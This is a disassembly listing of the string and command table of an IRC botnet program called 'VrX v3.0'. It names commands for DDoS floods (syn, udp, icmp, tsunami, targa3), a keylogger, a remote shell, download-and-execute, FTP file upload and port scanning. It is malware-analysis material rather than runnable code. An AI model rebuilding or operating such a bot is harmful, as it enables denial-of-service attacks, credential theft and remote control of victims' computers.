align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do align 4 unk_429B34 db 3 ; DATA XREF: sub_401ACD+7CF9o a81VrxUserSLogg db '8,1-VrX- User: %s logged in.',0 align 4 unk_429B54 db 3 ; DATA XREF: sub_401ACD+7CDCo a81VrxPasswordA db '8,1-VrX- Password accepted.',0 align 4 unk_429B74 db 3 ; DATA XREF: sub_401ACD+7C7Bo a81VrxFailedHos db '8,1-VrX- *Failed host auth by: (%s!%s).',0 align 10h aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7C52o align 4 unk_429BC8 db 3 ; DATA XREF: sub_401ACD+7C14o a81VrxFailedPas db '8,1-VrX- *Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7C02o ; sub_401ACD+7C69o align 10h aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7BEBo align 4 asc_429C48: ; DATA XREF: sub_401ACD+7BBBo unicode 0, <~>,0 unk_429C4C db 3 ; DATA XREF: sub_401ACD+7B6Bo a81VrxRandomNic db '8,1-VrX- Random nick change: %s',0 align 10h unk_429C70 db 3 ; DATA XREF: sub_401ACD+7AFDo a81VrxReconnect db '8,1-VrX- Reconnecting in %s seconds',0 align 4 unk_429C98 db 3 ; DATA XREF: sub_401ACD+7AB9o a81VrxReconne_0 db '8,1-VrX- Reconnecting in %s ms',0 unk_429CB8 db 3 ; DATA XREF: sub_401ACD+7A99o a81VrxNickChang db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0 align 4 unk_429CDC db 3 ; DATA XREF: sub_401ACD+7A7Do a81VrxJoinedCha db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0 unk_429CFC db 3 ; DATA XREF: sub_401ACD+7A5Ao a81VrxPartedCha db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0 unk_429D1C db 3 ; DATA XREF: sub_401ACD+7A3Eo a81VrxIrcRawS_ db '8,1-VrX- IRC Raw: %s.',0 align 4 unk_429D34 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40948Ao db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h unk_429D60 db 2Dh ; - ; DATA XREF: sub_401ACD+79B6o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429D84 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40943Do db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_429DAC db 2Dh ; - ; DATA XREF: sub_401ACD+7966o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+794Co unk_429DD8 db 3 ; DATA XREF: sub_401ACD+7848o a81VrxPrefixCha db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0 align 4 unk_429DFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409300o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429E20 db 2Dh ; - ; DATA XREF: sub_401ACD+7829o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 10h unk_429E40 db 3 ; DATA XREF: sub_401ACD+7809o a81VrxServerCha db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4092BDo db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_429E8C db 2Dh ; - ; DATA XREF: sub_401ACD+77C2o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_429EAC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409255o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_429EDC db 2Dh ; - ; DATA XREF: sub_401ACD+777Eo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429EFC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4091F5o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429F2C db 2Dh ; - ; DATA XREF: sub_401ACD+7721o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 10h dword_429F50 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+76DFo dd 27732527h, 2Eh unk_429F6C db 2Dh ; - ; DATA XREF: sub_401ACD+7667o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_429F90 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+75ECo dd 0 unk_429FA8 db 2Dh ; - ; DATA XREF: sub_401ACD+75BFo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 4 dword_429FE8 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+7550o dd 2Eh dword_42A000 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_408F9Do dd 746E6573h, 2Eh unk_42A01C db 2Dh ; - ; DATA XREF: sub_401ACD+74C9o db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_42A03C dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+748Fo dd 732520h unk_42A054 db 2Dh ; - ; DATA XREF: sub_401ACD+7481o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 10h asc_42A080: ; DATA XREF: sub_401ACD+7469o ; sub_4100B4+FBo ... dw 0Ah unicode 0, <>,0 unk_42A084 db 3 ; DATA XREF: sub_401ACD+7441o a81VrxReadFileF db '8,1-VrX- Read file failed: %s',0 align 4 unk_42A0A4 db 3 ; DATA XREF: sub_401ACD+7436o a81VrxReadFileC db '8,1-VrX- Read file complete: %s',0 align 4 aUnknowModeType db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o align 4 aFailedToStartL db 'Failed to start logging thread, error: <%d>.',0 ; DATA XREF: sub_401ACD+73B4o align 4 aNormalKeyLogge db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do align 4 aNormal_0 db 'normal',0 ; DATA XREF: sub_401ACD+72EDo align 10h aKeylogerAlread db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o align 4 aVrxV3_0SitesKe db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o ; sub_401ACD+72E5o align 10h aKeylog_0 db 'Keylog',0 ; DATA XREF: sub_401ACD+7231o align 4 unk_42A178 db 3 ; DATA XREF: sub_401ACD+7216o a81VrxGethostS_ db '8,1-VrX- Gethost: %s.',0 align 10h unk_42A190 db 3 ; DATA XREF: sub_401ACD+71D2o a81VrxUnableToE db '8,1-VrX- Unable to extract Gethost command.',0 align 10h unk_42A1C0 db 3 ; DATA XREF: sub_401ACD+71B6o a81VrxGethostSC db '8,1-VrX- Gethost: %s, Command: %s',0 align 4 unk_42A1E4 db 3 ; DATA XREF: sub_401ACD+7119o a81VrxAliasAdde db '8,1-VrX- Alias added: %s.',0 align 10h unk_42A200 db 3 ; DATA XREF: sub_401ACD+70E7o a81VrxPrivmsgSS db '8,1-VrX- Privmsg: %s: %s.',0 align 4 unk_42A21C db 3 ; DATA XREF: sub_401ACD+7096o a81VrxActionSS_ db '8,1-VrX- Action: %s: %s.',0 align 4 dword_42A238 dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0 ; DATA XREF: sub_401ACD+7028o dword_42A24C dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo ; sub_401ACD+7A49o unk_42A258 db 3 ; DATA XREF: sub_401ACD+6FC7o a81VrxModeChang db '8,1-VrX- Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+6FB6o align 10h dword_42A280 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+6F8Do dd 25203A29h, 73h dword_42A29C dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+6F1Fo dd 203A2973h, 7325h dword_42A2B8 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6EC7o dword_42A2C0 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6E95o dd 203A2973h, 7325h dword_42A2DC dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do dword_42A2E8 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6DEBo ; sub_401ACD+6E71o ... dword_42A2F0 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6DB6o dword_42A2F8 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D79o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42A334 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6D0Eo aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 10h unk_42A360 db 2Dh ; - ; DATA XREF: sub_401ACD+6CA8o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+6C39o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_42A3D0 db 3 ; DATA XREF: sub_401ACD+6B9Do a81VrxRepeatNot db '8,1-VrX- Repeat not allowed in command line: %s',0 align 4 unk_42A404 db 3 ; DATA XREF: sub_401ACD+6B60o a81VrxRepeatS db '8,1-VrX- Repeat: %s',0 align 4 dword_42A41C dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0 ; DATA XREF: sub_401ACD:loc_408591o dword_42A430 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6A84o ; sub_401ACD+6B37o ... dword_42A440 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4084F0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 4 dword_42A488 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A19o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_42A4C4 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+69AAo aDownloadingUpd db '- Downloading update from: %s.',0 align 10h aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+6904o align 4 dword_42A4FC dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+68A2o dd 7325203Ah, 0 unk_42A518 db 2Dh ; - ; DATA XREF: sub_401ACD+6897o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A53C db 2Dh ; - ; DATA XREF: sub_401ACD+67FDo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A578 db 2Dh ; - ; DATA XREF: sub_401ACD+6787o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 4 dword_42A5A8 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40818Do ; sub_401ACD:loc_4091C7o unk_42A5B4 db 2Dh ; - ; DATA XREF: sub_401ACD+66ABo db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 4 unk_42A5D8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408156o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 10h unk_42A610 db 2Dh ; - ; DATA XREF: sub_401ACD+667Fo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A648 db 2Dh ; - ; DATA XREF: sub_401ACD+660Fo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A674 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+658Co aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 10h dword_42A6B0 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+651Do aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 10h unk_42A6E0 db 2Dh ; - ; DATA XREF: sub_401ACD+64A4o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A718 db 2Dh ; - ; DATA XREF: sub_401ACD+6435o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A748 db 2Dh ; - ; DATA XREF: sub_401ACD+63ABo db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42A780 db 2Dh ; - ; DATA XREF: sub_401ACD+633Co db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A7B0 db 2Dh ; - ; DATA XREF: sub_401ACD+62C3o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42A7E8 db 2Dh ; - ; DATA XREF: sub_401ACD+6254o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A824 db 2Dh ; - ; DATA XREF: sub_401ACD+61DBo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 dword_42A864 dd 234032Dh, 61526159h, 3022162h ; DATA XREF: sub_401ACD+616Co aDownloadingUrl db '- Downloading URL: %s to: %s.',0 align 10h unk_42A890 db 2Dh ; - ; DATA XREF: sub_401ACD+609Do db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A8D4 db 2Dh ; - ; DATA XREF: sub_401ACD+602Eo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A910 db 3 ; DATA XREF: sub_401ACD+5F31o a81Sc@nPortScan db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5E85o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5DB0o align 4 dword_42A968 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5D22o ; sub_401ACD+7074o unk_42A974 db 2Dh ; - ; DATA XREF: sub_401ACD+5CC0o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 10h unk_42A9B0 db 2Dh ; - ; DATA XREF: sub_401ACD+5C51o db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 10h unk_42AA00 db 3 ; DATA XREF: sub_401ACD+5BBAo ; sub_401ACD+5FA0o a81Sc@nFailedTo db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0 align 4 unk_42AA38 db 3 ; DATA XREF: sub_401ACD+5B4Bo a81Sc@nSPortSca db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second' db 's for %d minutes using %d threads.',0 align 10h unk_42AAA0 db 3 ; DATA XREF: sub_401ACD+59D5o a81Sc@nFailed_0 db '8,1-SC@N- Failed to start scan, no IP specified.',0 align 4 unk_42AAD4 db 3 ; DATA XREF: sub_401ACD+5978o a81Sc@nFailed_1 db '8,1-SC@N- Failed to start scan, port is invalid.',0 align 4 unk_42AB08 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_407320o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42AB38 db 2Dh ; - ; DATA XREF: sub_401ACD+584Co db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 10h aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5835o aSS_1 db '-s:%s',0 ; DATA XREF: sub_401ACD+581Eo align 10h aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+57FBo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aAb db 'ab',0 ; DATA XREF: sub_401ACD+57D7o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+57C6o align 4 unk_42ABA8 db 2Dh ; - ; DATA XREF: sub_401ACD+576Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+574Ao align 10h unk_42ABD0 db 3 ; DATA XREF: sub_401ACD+5714o a81Sc@nAlreadyD db '8,1-SC@N- Already %d scanning threads. Too many specified.',0 unk_42AC0C db 2Dh ; - ; DATA XREF: sub_401ACD+56B5o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToStar_8 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42AC44 db 2Dh ; - ; DATA XREF: sub_401ACD+564Ao db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42AC8C db 2Dh ; - ; DATA XREF: sub_401ACD+5599o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h unk_42ACC0 db 2Dh ; - ; DATA XREF: sub_401ACD+5565o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42ACF4 db 2Dh ; - ; DATA XREF: sub_401ACD+5541o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42AD2C db 2Dh ; - ; DATA XREF: sub_401ACD+549Fo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aSendingMessage db '- Sending message %s times to %s using name %s',0 aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5482o align 10h unk_42AD80 db 2Dh ; - ; DATA XREF: sub_401ACD+546Do db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start flood thread, error: <%d>.',0 align 4 unk_42ADB8 db 2Dh ; - ; DATA XREF: sub_401ACD+53FEo db 3, 34h, 2 db 70h ; p db 69h, 6Eh, 67h db 2 db 3, 2Dh, 20h aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 10h unk_42AE00 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406E1Do db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0 align 4 unk_42AE38 db 2Dh ; - ; DATA XREF: sub_401ACD+5346o db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aFailedToSta_10 db '- Failed to start flood thread, error: <%d>.',0 align 10h unk_42AE70 db 2Dh ; - ; DATA XREF: sub_401ACD+52CCo db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+52BCo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+52B5o unk_42AEB4 db 2Dh ; - ; DATA XREF: sub_401ACD+521Ao db 3, 34h, 2 db 74h ; t db 63h, 70h, 2 db 3 aInvalidFloodTy db '- Invalid flood type specified.',0 align 10h aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+520Ao align 4 aAck db 'ack',0 ; DATA XREF: sub_401ACD+51F3o aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+517Fo align 4 aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+516Co unk_42AEFC db 2Dh ; - ; DATA XREF: sub_401ACD+511Do db 3, 34h, 2 db 65h ; e db 6Dh, 61h, 69h db 6Ch ; l db 2, 3, 2Dh aMessageSentToS db ' Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+50A9o db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 aEmail db 'email',0 ; DATA XREF: sub_401ACD+4FBEo align 4 aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+4FA7o aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+4F90o align 4 aVncHttpHostCha db 'VNC: HTTP Host Changed To: %s',0 ; DATA XREF: sub_401ACD+4F66o align 4 aVnchost db 'vnchost',0 ; DATA XREF: sub_401ACD+4F48o aP: ; DATA XREF: sub_401ACD+4F31o ; ___:00438AF0o unicode 0, <p>,0 aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+4F1Ao align 4 aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+4F03o align 4 aNs db 'ns',0 ; DATA XREF: sub_401ACD+4EECo align 4 aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4ED5o aU: ; DATA XREF: sub_401ACD+4EBEo ; ___:00438B00o unicode 0, <u>,0 aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4EA7o aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4E90o align 4 aAd db 'ad',0 ; DATA XREF: sub_401ACD+4E79o align 4 aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4E62o aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4E4Bo aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4E34o align 10h aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4E0Eo aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4DF7o align 10h aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4DE0o align 4 aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4DC9o align 4 aSc db 'sc',0 ; DATA XREF: sub_401ACD+4DB2o align 4 aScan db 'scan',0 ; DATA XREF: sub_401ACD+4D9Bo align 10h aRd db 'rd',0 ; DATA XREF: sub_401ACD+4D84o align 4 aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4D6Do align 10h aNazel3 db 'NAZEL3',0 ; DATA XREF: sub_401ACD+4D3Fo ; sub_401ACD+4D56o align 4 aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4D28o align 10h aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4D11o align 4 dword_42B05C dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4D04o aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_42B098 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4C95o aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0 aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4C12o align 10h aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4BFBo ; sub_401ACD+51DBo aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4BE4o align 10h unk_42B0E0 db 2Dh ; - ; DATA XREF: sub_401ACD+4BD7o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aFailedToSta_12 db '- Failed to start flood thread, error: <%d>.',0 align 10h aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4B00o align 4 aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4AE9o ; sub_413694:loc_4137C0o aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4AD2o ; sub_413694:loc_4137A4o align 4 aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4ABBo ; sub_413694+F1o align 10h aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4A8Do align 4 aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4A64o align 10h aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4A4Do align 4 aMv db 'mv',0 ; DATA XREF: sub_401ACD+4A36o align 10h aRename db 'rename',0 ; DATA XREF: sub_401ACD+4A1Fo align 4 aFf db 'ff',0 ; DATA XREF: sub_401ACD+4A08o align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+49F1o align 4 aE: ; DATA XREF: sub_401ACD+49DAo unicode 0, <e>,0 aExecute db 'execute',0 ; DATA XREF: sub_401ACD+49C3o aHadeth3 db 'HADETH3',0 ; DATA XREF: sub_401ACD+4995o ; sub_401ACD+49ACo aDe db 'de',0 ; DATA XREF: sub_401ACD+497Eo align 10h aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4967o align 4 aRp db 'rp',0 ; DATA XREF: sub_401ACD+4950o align 4 aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4939o ; sub_401ACD+6B0Co align 4 aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4922o aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+490Bo aT3 db 't3',0 ; DATA XREF: sub_401ACD+48F4o align 4 aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+48DDo align 4 aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+48C6o aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+48AFo align 4 aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+4898o aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+4881o align 4 aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+486Ao aC_nick db 'c_nick',0 